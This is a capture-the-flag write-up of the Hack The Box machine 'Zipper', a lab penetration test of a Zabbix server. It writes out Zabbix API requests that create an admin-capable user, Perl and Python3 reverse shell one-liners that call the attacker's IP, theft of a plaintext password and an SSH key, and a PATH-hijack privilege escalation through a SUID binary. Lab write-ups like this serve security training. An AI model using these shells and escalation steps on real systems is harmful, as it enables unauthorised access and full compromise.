Hack The Box - Zipper
Summary:
This machine took a bit of thinking outside of the box so it was a bit of a nice challenge and involved exploiting both custom binaries and legitimate services offered. Although a real life test may not be identical to this, it does highlight a lot of elements that one may find during a typical penetration test which may be able to be used to remotely compromise a system and elevate privileges.
Gaining Access
- Easily guessed credentials
- Create user through Zabbix API
- Webshell through Zipper agent, spawn TTY
- Password stored in plaintext (backup.sh)
Elevating Privileges
- SUID bit set on a vulnerable binary
- Vulnerable Zabbix service, create a fake one
- Change PATH variable
- Create Symlink for systemctl
Write-up
First off I enumerated open ports with Nmap.
nmap -sC -sV -oA Zipper 10.10.10.108
This revealed a web service open on port 80. As its base URL was the default apache page, I tried to enumerate any common sub-directories.
gobuster -u http://10.10.10.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
This enumerated the sub-directory
When viewing this page I was presented with a web login form containing a link to login as a guest. Having no luck with some common username and password combinations, I used the guest logon.
Logging into the web portal presented a standard Zabbix interface but no real administrative access.
Easily guessed credentials
Under the monitoring web interface I noticed there was a section called latest data which had an unusual entry:
Zapperās Backup Script
From this I was under the assumption that Zapper was a legitimate user, so I attempted to guess it with the password Zapper, but this failed to log me on. Wanting to ensure I covered all bases, I tried lowercase and received a different error message:
Excellent, well sort of. I now knew that the username and password was correct, but I didnāt have access to login via the web. Thinking there may be an exploit available I went searching.
searchsploit zabbix
Plenty of exploits, but upon searching only one was going to be useful, 39937.py, so I cloned it and took a look at what I had available.
searchsploit -m 39937.py
cat 39937.py
To my surprise the exploit required a hostid to be successful; however, this information wasnāt readily available to me without access to the Zabbix GUI, so I was out of luck.
Something I did find interesting was the url mentioning api_jsonrpc.php, so I went off and looked into the Zabbix JSON-RPC API.
https://metacpan.org/pod/Zabbix::API
Although I spent some time looking around around for various tools that use the Zabbix API, and came up with nice looking tools.
https://github.com/usit-gd/zabbix-cli/blob/master/docs/manual.rst
I also realised that I could use the web api to make requests without logging into the GUI interface by posting appropriate json strings to /zabbix/api_jsonrpc.php. This was the avenue I ended up taking, so I went back to reading the manual once more.
https://www.zabbix.com/documentation/3.4/manual/api
Create user through Zabbix API
Hooray for manuals. Based on this, I concluded that I would first have to authenticate using the zapper account. So by posting the below to 10.10.10.108/zabbix/api_jsonrpc.php.
{ "jsonrpc": "2.0", "method": "user.login", "params": { "user": "zapper", "password": "zapper" }, "id": 1 }
I received the below response:
{
"jsonrpc": "2.0",
"result": "ca4957e39c7f516f0e9233ade89e1a19",
"id": 1
}
Now that I had a token to use for authenticated commands, I checked what groups were available by a post request.
{"jsonrpc": "2.0", "method": "usergroup.get", "params": { "output": "extend", "status": 0 }, "auth": "ca4957e39c7f516f0e9233ade89e1a19", "id": 1 }
This revealed that there were a number of user groups which could be assigned, one of which gave me the access I needed. So following the documentation to create a user.
https://www.zabbix.com/documentation/3.0/manual/api/reference/user/create
After one final POST request:
{
"jsonrpc": "2.0",
"method": "user.create",
"params": {
"alias": "JPMinty",
"passwd": "devsecops",
"usrgrps": [
{
"usrgrpid": "7"
}
],
"user_medias": [
{
"mediatypeid": "1",
"sendto": "[email protected]",
"active": 0,
"severity": 63,
"period": "1-7,00:00-24:00"
}
]
},
"auth": "ca4957e39c7f516f0e9233ade89e1a19",
"id": 1
}
I had created a user which could be used to get onto the web interface.
Webshell through Zipper agent, spawn TTY
After logging onto the web interface I found a tab called triggers which contained 2 hosts, Zabbix and Zipper. Within this area I was able to create custom scripts which would execute on a host if they were triggered.
Figuring this was as good a spot as any to go for a web shell, I setup a netcat listener to catch the reverse shell.
netcat -nlvp 8000
I then created a trigger action which used perl to initiate a connection to my machine through its open socket. In short this is a common reverse shell which can be used if perl is available with no restrictions.
perl -e 'use Socket;$i="10.10.12.121";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
After executing the action on the Zabbix host, I quickly realised Iād gone down a rabbit hole and had nothing available to move forward. Thinking back to what was originally used to gain access (zapper), lead me to try the other hose, Zapper, perhaps the user had a typo? Only one way to find out.
Success! At this point I had a very unstable shell which could drop out at any moment, so I had to look around quickly. Firstly I wanted to know what user I had compromised.
whoami
zabbix
Okay, so I managed to get a limited, unstable shell as the zabbix account, well better than nothingā¦
Password stored in plaintext
From here I found a āutilsā directory, and after looking inside of at the ābackup.shā script previously seen, I found some plaintext credentials.
cd utils
ls -la
cat backup.sh
Quick script to backup all utilities in this folder to /backups
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null
Excellent, I now have some credentials for zapper. I thought Iād just be able to use su to elevate to zapperās account using this password.
su - zapper
no tty present and no askpass program specified
Owch, of course I hadnāt spawned a TTY shell so I couldnāt use the super user function. Thinking I could use a python script to do this I echoād one to a file and gave it a shot, but without luckā¦
cd /tmp
echo "import pty; pty.spawn('/bin/bash')" > /tmp/elevate.py
python elevate.py
Command āpythonā not found
You also have python3 installed, you can run āpython3ā instead.
Oops, I may have neglected to check whether python was installed or not, but at least it has python3. Trying one last time.
python3 elevate.py
Gaining Access
Bingo, I had a TTY shell, now after using the super user command and entering the password obtained.
su - zapper
Password: ZippityDoDah
I had successfully logged in as zapper.
cat user.txt
User.txt: aa29e ā¦ 8fe33
At this point I wanted to take a bit of a breather, but I knew Iād have to go through all of this again if I was to lose my shell, so I checked if there was a SSH key I could use to get back in if everything falls apart.
cd .ssh
ls -la
cat id_rsa
Lucky! itās not always you can find valid SSH keys; however, they can save you a lot of pain with unstable reverse shells, so itās always good to look for them if you find yourself on a linux machine.
After saving the key to my local machine and securing it using chmod 600 (this changes it to only have read/write permissions).
chmod 600 rsa_id
I now had a way to get back in without the need for a shell. How nice!
ssh -i rsa_id zapper@10.10.10.108
When looking for privilege escalation opportunities, one of the first things I like to look for on a linux system is anything which has the āSUIDā or āSGIDā bits set. These are referred to as the set user ID and set group ID bits which essentially allow an executable to be run with the privileges of its owner or group.
When we have one of these set on an executable owned by someone with elevated privileges, it can often lead to a privilege escalation opportunity if the executable has any vulnerabilities.
SUID bit set on a vulnerable binary
I searched for any binaries with the SUID bit set, and I found an unusual entry.
find / -perm -u=s -type f 2>/dev/null
utils/zabbix-service
Hmmm, the zabbix service executable is set to run with root privileges, figuring this may be full of holes I used the āstringsā command to find any unicode or ascii characters within the executable which may give away a potential vulnerability. There was one line which stood out more than any other.
strings utils/zabbix-service
Vulnerable Zabbix Service, create a fake one
systemctl daemon-reload && systemctl start zabbix-agent
This section looked like it could be exploited by modifying our PATH variable. **A nice example of how the PATH variable can be exploited in conjunction with vulnerable executables can be found below:
http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
For the purpose of this machine, I created my own daemon-reload file in the hope that I could then create a link from systemctl to /bin/sh so that it would be executed with root permissions.
Considering I knew python3 was already available I thought this was a good bet as I still wanted an elevated shell.
cd utils
nano daemon-reload
#!/bin/bash
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.12.121",8000));os.dup2(s.fileno(),0); > os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I then needed to make the file executable.
chmod +x daemon-reload
Change PATH variable and Create Symlink for systemctl
At this point I wanted to create a symbolic link which would then ensure that anytime systemctl was called, it would instead execute a shell command. For this to work I also ensured I set my working path as the current directory I was in and executed the zabbix service asking it to start.
ln -s /bin/sh systemctl
export PATH=.:$PATH
Back on my host machine I setup a netcat listener one more time.
netcat -nlvp 8000
Elevating Privileges
Hoping all would go well, I started the zabbix service.
./zabbix-service
start
listening on [any] 8000 ā¦ connect to [10.10.13.55] from (UNKNOWN) [10.10.10.108] 54970
whoami
root
Victory! It was time to take my prize and move on with my lifeā¦
cat /root/root.txt
Root.txt: a7c74 ā¦ eab6e
Final Notes
At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.